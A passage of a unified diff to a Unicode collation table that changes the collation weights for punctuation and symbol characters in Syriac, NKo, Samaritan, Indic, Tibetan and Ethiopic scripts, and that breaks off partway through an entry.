+0707 ; [*023F.0020.0002] # SYRIAC COLON SKEWED RIGHT +0708 ; [*0240.0020.0002] # SYRIAC SUPRALINEAR COLON SKEWED LEFT +0709 ; [*0269.0020.0002] # SYRIAC SUBLINEAR COLON SKEWED RIGHT +070A ; [*03CC.0020.0002] # SYRIAC CONTRACTION +070B ; [*03CD.0020.0002] # SYRIAC HARKLEAN OBELUS +070C ; [*03CE.0020.0002] # SYRIAC HARKLEAN METOBELUS +070D ; [*03CF.0020.0002] # SYRIAC HARKLEAN ASTERISCUS 0740 ; [.0000.0000.0000] # SYRIAC FEMININE DOT 0743 ; [.0000.0000.0000] # SYRIAC TWO VERTICAL DOTS ABOVE 0744 ; [.0000.0000.0000] # SYRIAC TWO VERTICAL DOTS BELOW @@ -728,41 +726,27 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 0748 ; [.0000.0000.0000] # SYRIAC OBLIQUE LINE BELOW 0749 ; [.0000.0000.0000] # SYRIAC MUSIC 074A ; [.0000.0000.0000] # SYRIAC BARREKH -07F6 ; [*0512.0020.0002] # NKO SYMBOL OO DENNEN -07F7 ; [*02C5.0020.0002] # NKO SYMBOL GBAKURUNEN -07F8 ; [*022B.0020.0002] # NKO COMMA -07F9 ; [*0263.0020.0002] # NKO EXCLAMATION MARK +07F6 ; [*04F3.0020.0002] # NKO SYMBOL OO DENNEN +07F7 ; [*02BE.0020.0002] # NKO SYMBOL GBAKURUNEN +07F8 ; [*022A.0020.0002] # NKO COMMA +07F9 ; [*0262.0020.0002] # NKO EXCLAMATION MARK 07FA ; [.0000.0000.0000] # NKO LAJANYALAN -0830 ; [*0242.0020.0002] # SAMARITAN PUNCTUATION NEQUDAA -0831 ; [*0243.0020.0002] # SAMARITAN PUNCTUATION AFSAAQ -0832 ; [*0244.0020.0002] # SAMARITAN PUNCTUATION ANGED -0833 ; [*0245.0020.0002] # SAMARITAN PUNCTUATION BAU -0834 ; [*0246.0020.0002] # SAMARITAN PUNCTUATION ATMAAU -0835 ; [*0247.0020.0002] # SAMARITAN PUNCTUATION SHIYYAALAA -0836 ; [*0248.0020.0002] # SAMARITAN ABBREVIATION MARK -0837 ; [*0249.0020.0002] # SAMARITAN PUNCTUATION MELODIC QITSA -0838 ; [*024A.0020.0002] # SAMARITAN PUNCTUATION ZIQAA -0839 ; [*024B.0020.0002] # SAMARITAN PUNCTUATION QITSA -083A ; [*024C.0020.0002] # SAMARITAN PUNCTUATION ZAEF -083B ; [*024D.0020.0002] # SAMARITAN PUNCTUATION TURU -083C ; [*024E.0020.0002] # SAMARITAN PUNCTUATION ARKAANU -083D ; [*024F.0020.0002] # SAMARITAN PUNCTUATION SOF MASHFAAT -083E ; [*0250.0020.0002] # SAMARITAN PUNCTUATION ANNAAU -085E ; [*03D8.0020.0002] # MANDAIC PUNCTUATION -08D4 ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AR-RUB -08D5 ; [.0000.0000.0000] # ARABIC SMALL HIGH SAD -08D6 ; [.0000.0000.0000] # ARABIC SMALL HIGH AIN -08D7 ; [.0000.0000.0000] # ARABIC SMALL HIGH QAF -08D8 ; [.0000.0000.0000] # ARABIC SMALL HIGH NOON WITH KASRA -08D9 ; [.0000.0000.0000] # ARABIC SMALL LOW NOON WITH KASRA -08DA ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD ATH-THALATHA -08DB ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AS-SAJDA -08DC ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AN-NISF -08DD ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD SAKTA -08DE ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD QIF -08DF ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD WAQFA -08E0 ; [.0000.0000.0000] # ARABIC SMALL HIGH FOOTNOTE MARKER -08E1 ; [.0000.0000.0000] # ARABIC SMALL HIGH SIGN SAFHA +0830 ; [*0241.0020.0002] # SAMARITAN PUNCTUATION NEQUDAA +0831 ; [*0242.0020.0002] # SAMARITAN PUNCTUATION AFSAAQ +0832 ; [*0243.0020.0002] # SAMARITAN PUNCTUATION ANGED +0833 ; [*0244.0020.0002] # SAMARITAN PUNCTUATION BAU +0834 ; [*0245.0020.0002] # SAMARITAN PUNCTUATION ATMAAU +0835 ; [*0246.0020.0002] # SAMARITAN PUNCTUATION SHIYYAALAA +0836 ; [*0247.0020.0002] # SAMARITAN ABBREVIATION MARK +0837 ; [*0248.0020.0002] # SAMARITAN PUNCTUATION MELODIC QITSA +0838 ; [*0249.0020.0002] # SAMARITAN PUNCTUATION ZIQAA +0839 ; [*024A.0020.0002] # SAMARITAN PUNCTUATION QITSA +083A ; [*024B.0020.0002] # SAMARITAN PUNCTUATION ZAEF +083B ; [*024C.0020.0002] # SAMARITAN PUNCTUATION TURU +083C ; [*024D.0020.0002] # SAMARITAN PUNCTUATION ARKAANU +083D ; [*024E.0020.0002] # SAMARITAN PUNCTUATION SOF MASHFAAT +083E ; [*024F.0020.0002] # SAMARITAN PUNCTUATION ANNAAU +085E ; [*03D0.0020.0002] # MANDAIC PUNCTUATION 08EA ; [.0000.0000.0000] # ARABIC TONE ONE DOT ABOVE 08EB ; [.0000.0000.0000] # ARABIC TONE TWO DOTS ABOVE 08EC ; [.0000.0000.0000] # ARABIC TONE LOOP ABOVE @@ -772,270 +756,259 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 08F3 ; [.0000.0000.0000] # ARABIC SMALL HIGH WAW 0951 ; [.0000.0000.0000] # DEVANAGARI STRESS SIGN UDATTA 0952 ; [.0000.0000.0000] # DEVANAGARI STRESS SIGN ANUDATTA -0964 ; [*028E.0020.0002] # DEVANAGARI DANDA -0965 ; [*028F.0020.0002] # DEVANAGARI DOUBLE DANDA -0970 ; [*03E7.0020.0002] # DEVANAGARI ABBREVIATION SIGN -09F4 ; [*1A96.0020.0002] # BENGALI CURRENCY NUMERATOR ONE -09F5 ; [*1A97.0020.0002] # BENGALI CURRENCY NUMERATOR TWO -09F6 ; [*1A98.0020.0002] # BENGALI CURRENCY NUMERATOR THREE -09F7 ; [*1A99.0020.0002] # BENGALI CURRENCY NUMERATOR FOUR -09F8 ; [*1A9A.0020.0002] # BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR -09F9 ; [*1A9B.0020.0002] # BENGALI CURRENCY DENOMINATOR SIXTEEN -09FA ; [*0513.0020.0002] # BENGALI ISSHAR -0AF0 ; [*03EC.0020.0002] # GUJARATI ABBREVIATION SIGN -0B70 ; [*0514.0020.0002] # ORIYA ISSHAR -0B72 ; [*1A9C.0020.0002] # ORIYA FRACTION ONE QUARTER -0B73 ; [*1A9D.0020.0002] # ORIYA FRACTION ONE HALF -0B74 ; [*1A9E.0020.0002] # ORIYA FRACTION THREE QUARTERS -0B75 ; [*1A9F.0020.0002] # ORIYA FRACTION ONE SIXTEENTH -0B76 ; [*1AA0.0020.0002] # ORIYA FRACTION ONE EIGHTH -0B77 ; [*1AA1.0020.0002] # ORIYA FRACTION THREE SIXTEENTHS -0BF0 ; [*1AA8.0020.0002] # TAMIL NUMBER TEN -0BF1 ; [*1AA9.0020.0002] # TAMIL NUMBER ONE HUNDRED -0BF2 ; [*1AAA.0020.0002] # TAMIL NUMBER ONE THOUSAND -0BF3 ; [*0515.0020.0002] # TAMIL DAY SIGN -0BF4 ; [*0516.0020.0002] # TAMIL MONTH SIGN -0BF5 ; [*0517.0020.0002] # TAMIL YEAR SIGN -0BF6 ; [*0518.0020.0002] # TAMIL DEBIT SIGN -0BF7 ; [*0519.0020.0002] # TAMIL CREDIT SIGN -0BF8 ; [*051A.0020.0002] # TAMIL AS ABOVE SIGN -0BFA ; [*051B.0020.0002] # TAMIL NUMBER SIGN -0C7F ; [*051C.0020.0002] # TELUGU SIGN TUUMU -0D4F ; [*051D.0020.0002] # MALAYALAM SIGN PARA -0D58 ; [*1AAB.0020.0002] # MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH -0D59 ; [*1AAC.0020.0002] # MALAYALAM FRACTION ONE FORTIETH -0D5A ; [*1AAD.0020.0002] # MALAYALAM FRACTION THREE EIGHTIETHS -0D5B ; [*1AAE.0020.0002] # MALAYALAM FRACTION ONE TWENTIETH -0D5C ; [*1AAF.0020.0002] # MALAYALAM FRACTION ONE TENTH -0D5D ; [*1AB0.0020.0002] # MALAYALAM FRACTION THREE TWENTIETHS -0D5E ; [*1AB1.0020.0002] # MALAYALAM FRACTION ONE FIFTH -0D70 ; [*1AB2.0020.0002] # MALAYALAM NUMBER TEN -0D71 ; [*1AB3.0020.0002] # MALAYALAM NUMBER ONE HUNDRED -0D72 ; [*1AB4.0020.0002] # MALAYALAM NUMBER ONE THOUSAND -0D73 ; [*1AB5.0020.0002] # MALAYALAM FRACTION ONE QUARTER -0D74 ; [*1AB6.0020.0002] # MALAYALAM FRACTION ONE HALF -0D75 ; [*1AB7.0020.0002] # MALAYALAM FRACTION THREE QUARTERS -0D76 ; [*1AB8.0020.0002] # MALAYALAM FRACTION ONE SIXTEENTH -0D77 ; [*1AB9.0020.0002] # MALAYALAM FRACTION ONE EIGHTH -0D78 ; [*1ABA.0020.0002] # MALAYALAM FRACTION THREE SIXTEENTHS -0D79 ; [*051E.0020.0002] # MALAYALAM DATE MARK -0DF4 ; [*03ED.0020.0002] # SINHALA PUNCTUATION KUNDDALIYA -0E4F ; [*03EE.0020.0002] # THAI CHARACTER FONGMAN -0E5A ; [*03EF.0020.0002] # THAI CHARACTER ANGKHANKHU -0E5B ; [*03F0.0020.0002] # THAI CHARACTER KHOMUT -0F01 ; [*0526.0020.0002] # TIBETAN MARK GTER YIG MGO TRUNCATED A -0F02 ; [*0527.0020.0002] # TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA -0F03 ; [*0528.0020.0002] # TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA -0F04 ; [*03F3.0020.0002] # TIBETAN MARK INITIAL YIG MGO MDUN MA -0F05 ; [*03F4.0020.0002] # TIBETAN MARK CLOSING YIG MGO SGAB MA -0F06 ; [*03F5.0020.0002] # TIBETAN MARK CARET YIG MGO PHUR SHAD MA -0F07 ; [*03F6.0020.0002] # TIBETAN MARK YIG MGO TSHEG SHAD MA -0F08 ; [*03F7.0020.0002] # TIBETAN MARK SBRUL SHAD -0F09 ; [*03F8.0020.0002] # TIBETAN MARK BSKUR YIG MGO -0F0A ; [*03F9.0020.0002] # TIBETAN MARK BKA- SHOG YIG MGO -0F0B ; [*03FC.0020.0002] # TIBETAN MARK INTERSYLLABIC TSHEG -0F0C ; [*03FC.0020.001B] # TIBETAN MARK DELIMITER TSHEG BSTAR -0F0D ; [*03FD.0020.0002] # TIBETAN MARK SHAD -0F0E ; [*03FE.0020.0002] # TIBETAN MARK NYIS SHAD -0F0F ; [*03FF.0020.0002] # TIBETAN MARK TSHEG SHAD -0F10 ; [*0400.0020.0002] # TIBETAN MARK NYIS TSHEG SHAD -0F11 ; [*0401.0020.0002] # TIBETAN MARK RIN CHEN SPUNGS SHAD -0F12 ; [*0402.0020.0002] # TIBETAN MARK RGYA GRAM SHAD -0F13 ; [*0529.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN -0F14 ; [*0258.0020.0002] # TIBETAN MARK GTER TSHEG -0F15 ; [*052A.0020.0002] # TIBETAN LOGOTYPE SIGN CHAD RTAGS -0F16 ; [*052B.0020.0002] # TIBETAN LOGOTYPE SIGN LHAG RTAGS -0F17 ; [*052C.0020.0002] # TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS +0964 ; [*028B.0020.0002] # DEVANAGARI DANDA +0965 ; [*028C.0020.0002] # DEVANAGARI DOUBLE DANDA +0970 ; [*03D2.0020.0002] # DEVANAGARI ABBREVIATION SIGN +09F4 ; [*1A26.0020.0002] # BENGALI CURRENCY NUMERATOR ONE +09F5 ; [*1A27.0020.0002] # BENGALI CURRENCY NUMERATOR TWO +09F6 ; [*1A28.0020.0002] # BENGALI CURRENCY NUMERATOR THREE +09F7 ; [*1A29.0020.0002] # BENGALI CURRENCY NUMERATOR FOUR +09F8 ; [*1A2A.0020.0002] # BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR +09F9 ; [*1A2B.0020.0002] # BENGALI CURRENCY DENOMINATOR SIXTEEN +09FA ; [*04F4.0020.0002] # BENGALI ISSHAR +0AF0 ; [*03D7.0020.0002] # GUJARATI ABBREVIATION SIGN +0B70 ; [*04F5.0020.0002] # ORIYA ISSHAR +0B72 ; [*1A2C.0020.0002] # ORIYA FRACTION ONE QUARTER +0B73 ; [*1A2D.0020.0002] # ORIYA FRACTION ONE HALF +0B74 ; [*1A2E.0020.0002] # ORIYA FRACTION THREE QUARTERS +0B75 ; [*1A2F.0020.0002] # ORIYA FRACTION ONE SIXTEENTH +0B76 ; [*1A30.0020.0002] # ORIYA FRACTION ONE EIGHTH +0B77 ; [*1A31.0020.0002] # ORIYA FRACTION THREE SIXTEENTHS +0BF0 ; [*1A38.0020.0002] # TAMIL NUMBER TEN +0BF1 ; [*1A39.0020.0002] # TAMIL NUMBER ONE HUNDRED +0BF2 ; [*1A3A.0020.0002] # TAMIL NUMBER ONE THOUSAND +0BF3 ; [*04F6.0020.0002] # TAMIL DAY SIGN +0BF4 ; [*04F7.0020.0002] # TAMIL MONTH SIGN +0BF5 ; [*04F8.0020.0002] # TAMIL YEAR SIGN +0BF6 ; [*04F9.0020.0002] # TAMIL DEBIT SIGN +0BF7 ; [*04FA.0020.0002] # TAMIL CREDIT SIGN +0BF8 ; [*04FB.0020.0002] # TAMIL AS ABOVE SIGN +0BFA ; [*04FC.0020.0002] # TAMIL NUMBER SIGN +0C7F ; [*04FD.0020.0002] # TELUGU SIGN TUUMU +0D70 ; [*1A3B.0020.0002] # MALAYALAM NUMBER TEN +0D71 ; [*1A3C.0020.0002] # MALAYALAM NUMBER ONE HUNDRED +0D72 ; [*1A3D.0020.0002] # MALAYALAM NUMBER ONE THOUSAND +0D73 ; [*1A3E.0020.0002] # MALAYALAM FRACTION ONE QUARTER +0D74 ; [*1A3F.0020.0002] # MALAYALAM FRACTION ONE HALF +0D75 ; [*1A40.0020.0002] # MALAYALAM FRACTION THREE QUARTERS +0D79 ; [*04FE.0020.0002] # MALAYALAM DATE MARK +0DF4 ; [*03D8.0020.0002] # SINHALA PUNCTUATION KUNDDALIYA +0E4F ; [*03D9.0020.0002] # THAI CHARACTER FONGMAN +0E5A ; [*03DA.0020.0002] # THAI CHARACTER ANGKHANKHU +0E5B ; [*03DB.0020.0002] # THAI CHARACTER KHOMUT +0F01 ; [*0506.0020.0002] # TIBETAN MARK GTER YIG MGO TRUNCATED A +0F02 ; [*0507.0020.0002] # TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA +0F03 ; [*0508.0020.0002] # TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA +0F04 ; [*03DE.0020.0002] # TIBETAN MARK INITIAL YIG MGO MDUN MA +0F05 ; [*03DF.0020.0002] # TIBETAN MARK CLOSING YIG MGO SGAB MA +0F06 ; [*03E0.0020.0002] # TIBETAN MARK CARET YIG MGO PHUR SHAD MA +0F07 ; [*03E1.0020.0002] # TIBETAN MARK YIG MGO TSHEG SHAD MA +0F08 ; [*03E2.0020.0002] # TIBETAN MARK SBRUL SHAD +0F09 ; [*03E3.0020.0002] # TIBETAN MARK BSKUR YIG MGO +0F0A ; [*03E4.0020.0002] # TIBETAN MARK BKA- SHOG YIG MGO +0F0B ; [*03E7.0020.0002] # TIBETAN MARK INTERSYLLABIC TSHEG +0F0C ; [*03E7.0020.001B] # TIBETAN MARK DELIMITER TSHEG BSTAR +0F0D ; [*03E8.0020.0002] # TIBETAN MARK SHAD +0F0E ; [*03E9.0020.0002] # TIBETAN MARK NYIS SHAD +0F0F ; [*03EA.0020.0002] # TIBETAN MARK TSHEG SHAD +0F10 ; [*03EB.0020.0002] # TIBETAN MARK NYIS TSHEG SHAD +0F11 ; [*03EC.0020.0002] # TIBETAN MARK RIN CHEN SPUNGS SHAD +0F12 ; [*03ED.0020.0002] # TIBETAN MARK RGYA GRAM SHAD +0F13 ; [*0509.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN +0F14 ; [*0257.0020.0002] # TIBETAN MARK GTER TSHEG +0F15 ; [*050A.0020.0002] # TIBETAN LOGOTYPE SIGN CHAD RTAGS +0F16 ; [*050B.0020.0002] # TIBETAN LOGOTYPE SIGN LHAG RTAGS +0F17 ; [*050C.0020.0002] # TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS 0F18 ; [.0000.0000.0000] # TIBETAN ASTROLOGICAL SIGN -KHYUD PA 0F19 ; [.0000.0000.0000] # TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS -0F1A ; [*052D.0020.0002] # TIBETAN SIGN RDEL DKAR GCIG -0F1B ; [*052E.0020.0002] # TIBETAN SIGN RDEL DKAR GNYIS -0F1C ; [*052F.0020.0002] # TIBETAN SIGN RDEL DKAR GSUM -0F1D ; [*0530.0020.0002] # TIBETAN SIGN RDEL NAG GCIG -0F1E ; [*0531.0020.0002] # TIBETAN SIGN RDEL NAG GNYIS -0F1F ; [*0532.0020.0002] # TIBETAN SIGN RDEL DKAR RDEL NAG -0F34 ; [*0533.0020.0002] # TIBETAN MARK BSDUS RTAGS +0F1A ; [*050D.0020.0002] # TIBETAN SIGN RDEL DKAR GCIG +0F1B ; [*050E.0020.0002] # TIBETAN SIGN RDEL DKAR GNYIS +0F1C ; [*050F.0020.0002] # TIBETAN SIGN RDEL DKAR GSUM +0F1D ; [*0510.0020.0002] # TIBETAN SIGN RDEL NAG GCIG +0F1E ; [*0511.0020.0002] # TIBETAN SIGN RDEL NAG GNYIS +0F1F ; [*0512.0020.0002] # TIBETAN SIGN RDEL DKAR RDEL NAG +0F34 ; [*0513.0020.0002] # TIBETAN MARK BSDUS RTAGS 0F35 ; [.0000.0000.0000] # TIBETAN MARK NGAS BZUNG NYI ZLA -0F36 ; [*0534.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN +0F36 ; [*0514.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN 0F37 ; [.0000.0000.0000] # TIBETAN MARK NGAS BZUNG SGOR RTAGS -0F38 ; [*0535.0020.0002] # TIBETAN MARK CHE MGO -0F3A ; [*031D.0020.0002] # TIBETAN MARK GUG RTAGS GYON -0F3B ; [*031E.0020.0002] # TIBETAN MARK GUG RTAGS GYAS -0F3C ; [*031F.0020.0002] # TIBETAN MARK ANG KHANG GYON -0F3D ; [*0320.0020.0002] # TIBETAN MARK ANG KHANG GYAS +0F38 ; [*0515.0020.0002] # TIBETAN MARK CHE MGO +0F3A ; [*0316.0020.0002] # TIBETAN MARK GUG RTAGS GYON +0F3B ; [*0317.0020.0002] # TIBETAN MARK GUG RTAGS GYAS +0F3C ; [*0318.0020.0002] # TIBETAN MARK ANG KHANG GYON +0F3D ; [*0319.0020.0002] # TIBETAN MARK ANG KHANG GYAS 0F3E ; [.0000.0000.0000] # TIBETAN SIGN YAR TSHES 0F3F ; [.0000.0000.0000] # TIBETAN SIGN MAR TSHES 0F82 ; [.0000.0000.0000] # TIBETAN SIGN NYI ZLA NAA DA 0F83 ; [.0000.0000.0000] # TIBETAN SIGN SNA LDAN -0F85 ; [*0403.0020.0002] # TIBETAN MARK PALUTA +0F85 ; [*03EE.0020.0002] # TIBETAN MARK PALUTA 0F86 ; [.0000.0000.0000] # TIBETAN SIGN LCI RTAGS 0F87 ; [.0000.0000.0000] # TIBETAN SIGN YANG RTAGS -0FBE ; [*0536.0020.0002] # TIBETAN KU RU KHA -0FBF ; [*0537.0020.0002] # TIBETAN KU RU KHA BZHI MIG CAN -0FC0 ; [*0538.0020.0002] # TIBETAN CANTILLATION SIGN HEAVY BEAT -0FC1 ; [*0539.0020.0002] # TIBETAN CANTILLATION SIGN LIGHT BEAT -0FC2 ; [*053A.0020.0002] # TIBETAN CANTILLATION SIGN CANG TE-U -0FC3 ; [*053B.0020.0002] # TIBETAN CANTILLATION SIGN SBUB -CHAL -0FC4 ; [*053C.0020.0002] # TIBETAN SYMBOL DRIL BU -0FC5 ; [*053D.0020.0002] # TIBETAN SYMBOL RDO RJE +0FBE ; [*0516.0020.0002] # TIBETAN KU RU KHA +0FBF ; [*0517.0020.0002] # TIBETAN KU RU KHA BZHI MIG CAN +0FC0 ; [*0518.0020.0002] # TIBETAN CANTILLATION SIGN HEAVY BEAT +0FC1 ; [*0519.0020.0002] # TIBETAN CANTILLATION SIGN LIGHT BEAT +0FC2 ; [*051A.0020.0002] # TIBETAN CANTILLATION SIGN CANG TE-U +0FC3 ; [*051B.0020.0002] # TIBETAN CANTILLATION SIGN SBUB -CHAL +0FC4 ; [*051C.0020.0002] # TIBETAN SYMBOL DRIL BU +0FC5 ; [*051D.0020.0002] # TIBETAN SYMBOL RDO RJE 0FC6 ; [.0000.0000.0000] # TIBETAN SYMBOL PADMA GDAN -0FC7 ; [*053E.0020.0002] # TIBETAN SYMBOL RDO RJE RGYA GRAM -0FC8 ; [*053F.0020.0002] # TIBETAN SYMBOL PHUR PA -0FC9 ; [*0540.0020.0002] # TIBETAN SYMBOL NOR BU -0FCA ; [*0541.0020.0002] # TIBETAN SYMBOL NOR BU NYIS -KHYIL -0FCB ; [*0542.0020.0002] # TIBETAN SYMBOL NOR BU GSUM -KHYIL -0FCC ; [*0543.0020.0002] # TIBETAN SYMBOL NOR BU BZHI -KHYIL -0FCE ; [*0544.0020.0002] # TIBETAN SIGN RDEL NAG RDEL DKAR -0FCF ; [*0545.0020.0002] # TIBETAN SIGN RDEL NAG GSUM -0FD0 ; [*03FA.0020.0002] # TIBETAN MARK BSKA- SHOG GI MGO RGYAN -0FD1 ; [*03FB.0020.0002] # TIBETAN MARK MNYAM YIG GI MGO RGYAN -0FD2 ; [*0404.0020.0002] # TIBETAN MARK NYIS TSHEG -0FD3 ; [*0405.0020.0002] # TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA -0FD4 ; [*0406.0020.0002] # TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA -0FD5 ; [*0546.0020.0002] # RIGHT-FACING SVASTI SIGN -0FD6 ; [*0547.0020.0002] # LEFT-FACING SVASTI SIGN -0FD7 ; [*0548.0020.0002] # RIGHT-FACING SVASTI SIGN WITH DOTS -0FD8 ; [*0549.0020.0002] # LEFT-FACING SVASTI SIGN WITH DOTS -0FD9 ; [*0407.0020.0002] # TIBETAN MARK LEADING MCHAN RTAGS -0FDA ; [*0408.0020.0002] # TIBETAN MARK TRAILING MCHAN RTAGS -104A ; [*0299.0020.0002] # MYANMAR SIGN LITTLE SECTION -104B ; [*029A.0020.0002] # MYANMAR SIGN SECTION -104C ; [*040E.0020.0002] # MYANMAR SYMBOL LOCATIVE -104D ; [*040F.0020.0002] # MYANMAR SYMBOL COMPLETED -104E ; [*0410.0020.0002] # MYANMAR SYMBOL AFOREMENTIONED -104F ; [*0411.0020.0002] # MYANMAR SYMBOL GENITIVE -109E ; [*054B.0020.0002] # MYANMAR SYMBOL SHAN ONE -109F ; [*054C.0020.0002] # MYANMAR SYMBOL SHAN EXCLAMATION -10FB ; [*02C6.0020.0002] # GEORGIAN PARAGRAPH SEPARATOR -1360 ; [*02C7.0020.0002] # ETHIOPIC SECTION MARK -1361 ; [*0251.0020.0002] # ETHIOPIC WORDSPACE -1362 ; [*027C.0020.0002] # ETHIOPIC FULL STOP -1363 ; [*0252.0020.0002] # ETHIOPIC COMMA -1364 ; [*0253.0020.0002] # ETHIOPIC SEMICOLON -1365 ; [*0254.0020.0002] # ETHIOPIC COLON -1366 ; [*0255.0020.0002] # ETHIOPIC PREFACE COLON -1367 ; [*026C.0020.0002] # ETHIOPIC QUESTION MARK -1368 ; [*02C8.0020.0002] # ETHIOPIC PARAGRAPH SEPARATOR -1372 ; [*1ABB.0020.0002] # ETHIOPIC NUMBER TEN -1373 ; [*1ABC.0020.0002] # ETHIOPIC NUMBER TWENTY -1374 ; [*1ABD.0020.0002] # ETHIOPIC NUMBER THIRTY -1375 ; [*1ABE.0020.0002] # ETHIOPIC NUMBER FORTY -1376 ; [*1ABF.0020.0002] # ETHIOPIC NUMBER FIFTY -1377 ; [*1AC0.0020.0002] # ETHIOPIC NUMBER SIXTY -1378 ; [*1AC1.0020.0002] # ETHIOPIC NUMBER SEVENTY -1379 ; [*1AC2.0020.0002] # ETHIOPIC NUMBER EIGHTY -137A ; [*1AC3.0020.0002] # ETHIOPIC NUMBER NINETY -137B ; [*1AC4.0020.0002] # ETHIOPIC NUMBER HUNDRED -137C ; [*1AC5.0020.0002] # ETHIOPIC NUMBER TEN THOUSAND -1390 ; [*04C6.0020.0002] # ETHIOPIC TONAL MARK YIZET -1391 ; [*04C7.0020.0002] # ETHIOPIC TONAL MARK DERET -1392 ; [*04C8.0020.0002] # ETHIOPIC TONAL MARK RIKRIK -1393 ; [*04C9.0020.0002] # ETHIOPIC TONAL MARK SHORT RIKRIK -1394 ; [*04CA.0020.0002] # ETHIOPIC TONAL MARK DIFAT -1395 ; [*04CB.0020.0002] # ETHIOPIC TONAL MARK KENAT -1396 ; [*04CC.0020.0002] # ETHIOPIC TONAL MARK CHIRET -1397 ; [*04CD.0020.0002] # ETHIOPIC TONAL MARK HIDET -1398 ; [*04CE.0020.0002] # ETHIOPIC TONAL MARK DERET-HIDET -1399 ; [*04CF.0020.0002] # ETHIOPIC TONAL MARK KURT +0FC7 ; [*051E.0020.0002] # TIBETAN SYMBOL RDO RJE RGYA GRAM +0FC8 ; [*051F.0020.0002] # TIBETAN SYMBOL PHUR PA +0FC9 ; [*0520.0020.0002] # TIBETAN SYMBOL NOR BU +0FCA ; [*0521.0020.0002] # TIBETAN SYMBOL NOR BU NYIS -KHYIL +0FCB ; [*0522.0020.0002] # TIBETAN SYMBOL NOR BU GSUM -KHYIL +0FCC ; [*0523.0020.0002] # TIBETAN SYMBOL NOR BU BZHI -KHYIL +0FCE ; [*0524.0020.0002] # TIBETAN SIGN RDEL NAG RDEL DKAR +0FCF ; [*0525.0020.0002] # TIBETAN SIGN RDEL NAG GSUM +0FD0 ; [*03E5.0020.0002] # TIBETAN MARK BSKA- SHOG GI MGO RGYAN +0FD1 ; [*03E6.0020.0002] # TIBETAN MARK MNYAM YIG GI MGO RGYAN +0FD2 ; [*03EF.0020.0002] # TIBETAN MARK NYIS TSHEG +0FD3 ; [*03F0.0020.0002] # TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA +0FD4 ; [*03F1.0020.0002] # TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA +0FD5 ; [*0526.0020.0002] # RIGHT-FACING SVASTI SIGN +0FD6 ; [*0527.0020.0002] # LEFT-FACING SVASTI SIGN +0FD7 ; [*0528.0020.0002] # RIGHT-FACING SVASTI SIGN WITH DOTS +0FD8 ; [*0529.0020.0002] # LEFT-FACING SVASTI SIGN WITH DOTS +0FD9 ; [*03F2.0020.0002] # TIBETAN MARK LEADING MCHAN RTAGS +0FDA ; [*03F3.0020.0002] # TIBETAN MARK TRAILING MCHAN RTAGS +104A ; [*0296.0020.0002] # MYANMAR SIGN LITTLE SECTION +104B ; [*0297.0020.0002] # MYANMAR SIGN SECTION +104C ; [*03F7.0020.0002] # MYANMAR SYMBOL LOCATIVE +104D ; [*03F8.0020.0002] # MYANMAR SYMBOL COMPLETED +104E ; [*03F9.0020.0002] # MYANMAR SYMBOL AFOREMENTIONED +104F ; [*03FA.0020.0002] # MYANMAR SYMBOL GENITIVE +109E ; [*052B.0020.0002] # MYANMAR SYMBOL SHAN ONE +109F ; [*052C.0020.0002] # MYANMAR SYMBOL SHAN EXCLAMATION +10FB ; [*02BF.0020.0002] # GEORGIAN PARAGRAPH SEPARATOR +1360 ; [*02C0.0020.0002] # ETHIOPIC SECTION MARK +1361 ; [*0250.0020.0002] # ETHIOPIC WORDSPACE +1362 ; [*0279.0020.0002] # ETHIOPIC FULL STOP +1363 ; [*0251.0020.0002] # ETHIOPIC COMMA +1364 ; [*0252.0020.0002] # ETHIOPIC SEMICOLON +1365 ; [*0253.0020.0002] # ETHIOPIC COLON +1366 ; [*0254.0020.0002] # ETHIOPIC PREFACE COLON +1367 ; [*026A.0020.0002] # ETHIOPIC QUESTION MARK +1368 ; [*02C1.0020.0002] # ETHIOPIC PARAGRAPH SEPARATOR +1372 ; [*1A41.0020.0002] # ETHIOPIC NUMBER TEN +1373 ; [*1A42.0020.0002] # ETHIOPIC NUMBER TWENTY +1374 ; [*1A43.0020.0002] # ETHIOPIC NUMBER THIRTY +1375 ; [*1A44.0020.0002] # ETHIOPIC NUMBER FORTY +1376 ; [*1A45.0020.0002] # ETHIOPIC NUMBER FIFTY +1377 ; [*1A46.0020.0002] # ETHIOPIC NUMBER SIXTY +1378 ; [*1A47.0020.0002] # ETHIOPIC NUMBER SEVENTY +1379 ; [*1A48.0020.0002] # ETHIOPIC NUMBER EIGHTY +137A ; [*1A49.0020.0002] # ETHIOPIC NUMBER NINETY +137B ; [*1A4A.0020.0002] # ETHIOPIC NUMBER HUNDRED +137C ; [*1A4B.0020.0002] # ETHIOPIC NUMBER TEN THOUSAND +1390 ; [*04A7.0020.0002] # ETHIOPIC TONAL MARK YIZET +1391 ; [*04A8.0020.0002] # ETHIOPIC TONAL MARK DERET +1392 ; [*04A9.0020.0002] # ETHIOPIC TONAL MARK RIKRIK +1393 ; [*04AA.0020.0002] # ETHIOPIC TONAL MARK SHORT RIKRIK +1394 ; [*04AB.0020.0002] # 